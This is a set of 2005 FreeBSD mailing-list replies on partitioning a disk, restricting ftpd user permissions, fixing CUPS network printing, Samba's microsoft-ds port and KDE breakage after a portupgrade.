 I am going by what G. Lehey is suggesting in his book The Complete
 FreeBSD on pg. 70 he does not recommend a /usr, or a /var file system.

  i dont see the /usr in your calculations...
 
  asside of that...
 
  it really depends on what youre going to do with the system, or which
  data its going to be holding...

 I am mostly going to use it for my personal files, internet, email and
 learning UNIX.

Well, personal files what files?, how many of them?, got a burner, if so 
you burn your things away from hd or keep them on the hd?

internet: ftp?,http?,anything else?, what kinda connection are you on?, if 
youre online, how many hours a day you spend on the pc?

email: receiving?, sending?, single or multiuser?, multiple accounts?, are 
you transferring also files like .bmp and .mdb and so on via email?

for learning unix: youre going to learn how servers work?, youre going to 
learn howto use multiple ide's?, multiple gui's?, no gui at all?, you want 
all docu local on your system, or are you going to use internet resources as 
well?

  this is absolutely subjective, cant tell you as long as i dont get
  any further data on the probably size of your data, and where theyll
  be stored...
 
 
  Greetings
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  Technical Staff
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  On Tuesday 25 January 2005 01:43, Peterhin wrote:
   I asked the question the other day,  whether to do a standard
   install or a custom install. This was brought about because I read
   several sources, including  G. Lehey's The Complete FreeBSD
  
   I will be doing a Custom install. My question however, is looking
   at page 70, in The Complete FreeBSD and I quote Use the rest of
   the space on disk for a /home file system. as long as it's possible
   to back it up on a single tape. Otherwise make multiple file
   systems.
  
   My question is do I make multiple /home directories.? I have a SATA
   80GB hard drive, so as Greg L. suggests  4GB to 6GB for the root
   file system.
   1GB to 2GB for the Swap file. The rest of the disk for the /home
   file.
  
   That would leave me with a  /home  of approx. 72GB. I would
   appreciate any thoughts as to how I should  do this. The computer
   will be used as a stand alone workstation, with internet and email
   access for now. I do have a large number of JPEG files in my
   existing /home directory. (Linux)

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Re: Ftpd

2005-01-22 Thread Oliver Leitner
you might want to give proftpd a try...

/usr/ports/ftp/proftpd

for more info on proftpd you might wanna look on www.proftpd.org
they have quite a good documentation on it.

this should cover both of your questions...

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On Friday 21 January 2005 01:36, Phillip Neumann wrote:
 Hello

 I have problems to understand the way ftpd works.

 My goal is to create a ftp account where the user can download and
 upload files, and create directories where they could upload the files.
 But they should not remove nor rename any file or directory.

 1)

 man chmod talks about a sticky  flag.
 Ive try that. but:

 (ls -la on the server)
 drwxr-xr-t   4 usuarioftp  usuarioftp   512 Jan 22 19:01 usuarioftp

 lftp login.../
 lftp [EMAIL PROTECTED]:~ rm test
 rm ok, `test' removed

 i dont want users to be able to delete any files...

 2)

 I dont understand permitions...

 i.e.
 lftp [EMAIL PROTECTED]:~ ls root-file
 -rw---  1 rootwheel 0 Jan 22 19:12 root-file
 lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this
 rename successful

 ps aux | grep ftp shows:

 usuarioftp 26747  1.0  0.3  1928 1404  ??  Ss7:14PM   0:00.01 ftpd:
 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd)





 why can the ftp user rename the root file?
 how do i make users be able just to
 1.- create directories
 2.- upload files
 3.- downlaod files



 thank you,
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Re: Network Printing - Please put me out of my misery

2005-01-22 Thread Oliver Leitner
which printing queue manager are you using?
is your printer pingeable (or in any other way reachable) from your bsd box?
does your printing queue manager recognize the printer?
what do your printer queue manager and daemon logs on the bsd box say?

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On Saturday 22 January 2005 23:29, you wrote:
 heh, everything BUT printing is working, I've even got it scanning! I
 cant believe this. I refuse to go to windows for anything, that and
 the fact that I dont have a place to install windows is what thrives
 my dispair.


 On Sat, 22 Jan 2005 23:23:50 +0100, Colin J. Raven

 [EMAIL PROTECTED] wrote:
  On Jan 22 at 15:02, Gerard Samuel launched this into the bitstream:
   gabriel wrote:
   I'm not sure what you mean by try the jetdirect,
  
   PORT STATE SERVICE
   9100/tcp open  jetdirect  === This One
  
   Jetdirect is HP's print server
 
  You mean the blackbox (JetDirect) sold in better stores is essentially
  existing within FreeBSD/Ports already?
 
  Damn, I was on the *verge* of heading out next week to buy one of those
  given that I could *not* get my all-in-one HP psc2105 to function at
  all. I'd given up after days of struggle since the end didn't seem to
  justify the means. (Windows XP box is pretty much up 24/7 anyway for
  anyone who needs to print)
 
  Regards,
  -Colin

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Re: Ftpd

2005-01-22 Thread Oliver Leitner
you might want to give proftpd a try...

/usr/ports/ftp/proftpd

for more info on proftpd you might wanna look on www.proftpd.org
they have quite a good documentation on it.

this should cover both of your questions...

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On Friday 21 January 2005 02:00, Phillip Neumann wrote:
 Ok.

 But i dont would like to switch ftp deamon. I already have ftpd in
 production


 thanks,

 Oliver Leitner wrote:
 you might want to give proftpd a try...
 
 /usr/ports/ftp/proftpd
 
 for more info on proftpd you might wanna look on www.proftpd.org
 they have quite a good documentation on it.
 
 this should cover both of your questions...
 
 Greetings
 Oliver Leitner
 Technical Staff
 http://www.shells.at
 
 On Friday 21 January 2005 01:36, Phillip Neumann wrote:
 Hello
 
 I have problems to understand the way ftpd works.
 
 My goal is to create a ftp account where the user can download and
 upload files, and create directories where they could upload the files.
 But they should not remove nor rename any file or directory.
 
 1)
 
 man chmod talks about a sticky  flag.
 Ive try that. but:
 
 (ls -la on the server)
 drwxr-xr-t   4 usuarioftp  usuarioftp   512 Jan 22 19:01 usuarioftp
 
 lftp login.../
 lftp [EMAIL PROTECTED]:~ rm test
 rm ok, `test' removed
 
 i dont want users to be able to delete any files...
 
 2)
 
 I dont understand permitions...
 
 i.e.
 lftp [EMAIL PROTECTED]:~ ls root-file
 -rw---  1 rootwheel 0 Jan 22 19:12 root-file
 lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this
 rename successful
 
 ps aux | grep ftp shows:
 
 usuarioftp 26747  1.0  0.3  1928 1404  ??  Ss7:14PM   0:00.01 ftpd:
 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd)
 
 
 
 
 
 why can the ftp user rename the root file?
 how do i make users be able just to
 1.- create directories
 2.- upload files
 3.- downlaod files
 
 
 
 thank you,
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Re: Ftpd

2005-01-22 Thread Oliver Leitner
sorry for the last answer, i copied the wrong one..


I dont remember fully, since i havent used the native ftpd for the past 6 
years...

but from what i know, the ftpd is pretty limited, so if you dont find a patch 
or any kind of fix to include, i dont see another way to do it than switching 
to a somewhat more sophisticated product.

shouldnt be that hard to replace in a production environment, just have it 
setup on an alternate port, and as soon as it does work to your wishes, you 
kill the ftpd process and start the proftpd one, should cause a downtime of 
max 10 secs...

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On Friday 21 January 2005 02:00, you wrote:
 Ok.

 But i dont would like to switch ftp deamon. I already have ftpd in
 production


 thanks,

 Oliver Leitner wrote:
 you might want to give proftpd a try...
 
 /usr/ports/ftp/proftpd
 
 for more info on proftpd you might wanna look on www.proftpd.org
 they have quite a good documentation on it.
 
 this should cover both of your questions...
 
 Greetings
 Oliver Leitner
 Technical Staff
 http://www.shells.at
 
 On Friday 21 January 2005 01:36, Phillip Neumann wrote:
 Hello
 
 I have problems to understand the way ftpd works.
 
 My goal is to create a ftp account where the user can download and
 upload files, and create directories where they could upload the files.
 But they should not remove nor rename any file or directory.
 
 1)
 
 man chmod talks about a sticky  flag.
 Ive try that. but:
 
 (ls -la on the server)
 drwxr-xr-t   4 usuarioftp  usuarioftp   512 Jan 22 19:01 usuarioftp
 
 lftp login.../
 lftp [EMAIL PROTECTED]:~ rm test
 rm ok, `test' removed
 
 i dont want users to be able to delete any files...
 
 2)
 
 I dont understand permitions...
 
 i.e.
 lftp [EMAIL PROTECTED]:~ ls root-file
 -rw---  1 rootwheel 0 Jan 22 19:12 root-file
 lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this
 rename successful
 
 ps aux | grep ftp shows:
 
 usuarioftp 26747  1.0  0.3  1928 1404  ??  Ss7:14PM   0:00.01 ftpd:
 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd)
 
 
 
 
 
 why can the ftp user rename the root file?
 how do i make users be able just to
 1.- create directories
 2.- upload files
 3.- downlaod files
 
 
 
 thank you,
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Re: Network Printing - Please put me out of my misery

2005-01-22 Thread Oliver Leitner
I did a search on google for that error, and i might have found something 
that you may wanna try:

cp /usr/local/bin/foomatic-rip /usr/local/libexec/cups/filter

please tell me if it works=)

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On Sunday 23 January 2005 00:12, gabriel wrote:
 On Sat, 22 Jan 2005 23:29:57 +0100, Oliver Leitner [EMAIL PROTECTED] wrote:
  which printing queue manager are you using?

 Manger? CUPS, Mind you this is my first time trying to setup a printer.

  is your printer pingeable (or in any other way reachable) from your bsd
  box?

 It is pingable, I am able to go into its configuration via http.

  does your printing queue manager recognize the printer?

 It appears so, as when a print test page is done, the printer
 activates, but nothing further.

  what do your printer queue manager and daemon logs on the bsd box say?

 These are the last couple of entries:
 E [22/Jan/2005:11:53:17 -0800] restart_job: job #5 cannot be restarted
 - no files!
 E [22/Jan/2005:11:53:27 -0800] PID 65224 stopped with status 3!
 E [22/Jan/2005:11:58:48 -0800] restart_job: job #5 cannot be restarted
 - no files!

  Greetings
  Oliver Leitner
  Technical Staff
  http://www.shells.at

 Thanks!

  On Saturday 22 January 2005 23:29, you wrote:
   heh, everything BUT printing is working, I've even got it scanning! I
   cant believe this. I refuse to go to windows for anything, that and
   the fact that I dont have a place to install windows is what thrives
   my dispair.
  
  
   On Sat, 22 Jan 2005 23:23:50 +0100, Colin J. Raven
  
   [EMAIL PROTECTED] wrote:
On Jan 22 at 15:02, Gerard Samuel launched this into the bitstream:
 gabriel wrote:
 I'm not sure what you mean by try the jetdirect,

 PORT STATE SERVICE
 9100/tcp open  jetdirect  === This One

 Jetdirect is HP's print server
   
You mean the blackbox (JetDirect) sold in better stores is
essentially existing within FreeBSD/Ports already?
   
Damn, I was on the *verge* of heading out next week to buy one of
those given that I could *not* get my all-in-one HP psc2105 to
function at all. I'd given up after days of struggle since the end
didn't seem to justify the means. (Windows XP box is pretty much up
24/7 anyway for anyone who needs to print)
   
Regards,
-Colin
 
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Re: Samba - microsoft-ds connection?

2005-01-22 Thread Oliver Leitner
A good short description of the ms-ds protocol is given here:

http://www.eventid.net/displayprot.asp?lic=19fdcf8protocol=*keyword=2000

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On Sunday 23 January 2005 01:30, Marty Landman wrote:
 Hi,

 Sorry if the subject's a bit cryptic. It's because of my ignorance, here's
 what I do know. Have just installed FBSD 4.8 release from the mini-iso, my
 old install got messed up and got Samba 3.0.10 running.

 My win xp workstation is also my current gateway. Run a tcp monitor on that
 box called tcpview which displays active connections. Here's what I see for
 windows networking

 System:4TCP delliver:4885   swamisalami:microsoft-ds
 ESTABLISHED
 System:4TCP delliver:3031   penguin:netbios-ssn ESTABLISHED

 System:4TCP delliver:4852   eileen:netbios-ssn  ESTABLISHED


 Swamisalami is my fbsd, penguin's my rh9 box running samba 2.x, eileen is a
 win me workstation. Delliver is my gateway box.

 What is microsoft-ds? Couldn't find anything about it in MS' knowledgebase.

 Marty

 p.s. yes I plan on moving my gateway to fbsd, but it's going to take some
 time for me to get there


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Re: Network Printing - Please put me out of my misery

2005-01-22 Thread Oliver Leitner
To inform the list as well...

The bug got fixed
after setting the Loglevel to debug in the cups.conf we found out that the 
tmp dir wasnt existant, so he created the tmp dir, and set the right 
permissions, and it worked.

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Re: KDE issues after recent portupgrade

2005-01-22 Thread Oliver Leitner
Well, you could either try to debug the applications that dont work, or take 
a look in the UPDATING file again, maybe they have descriptions concerning 
your applications...

you could also try to do a cvsup and then a portupgrade -af and look if it 
goes through and things work afterwards again...

hope that helps you any further...


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On Sunday 23 January 2005 02:29, you wrote:
 From the /usr/ports/UPDATING entry:

 20040313:
   AFFECTS: users of textproc/expat2
   AUTHOR: [EMAIL PROTECTED]

   Users of expat2 (and its many dependencies) should do the following to
   properly update expat2 and all of its dependencies:

   portupgrade -rf textproc/expat2

 I did the mentioned portupgrade above and a *lot* of packages were
 reinstalled, among those KDE.  I'm not sure in retrospect that I needed
 to do this as I only installed FreeBSD on this box a couple of months
 ago.  Anyway, since the upgrade Konqueror crashes when started in a
 directory (core dumps) as a file browser, KDE notifications no longer
 work (although sound from Gnome apps *do* work - I have
 gnome-session-daemon start when I log into KDE) and k3b won't start any
 longer for starters.

 What would be the best way to try an rectify this?  Reinstall kde from
 scratch with a 'portupgrade -rf /usr/ports/X11/kde3' or something else
 entirely?

 All the aforementioned apps were working prior to the portupgrade
 command mentioned in UPDATING.

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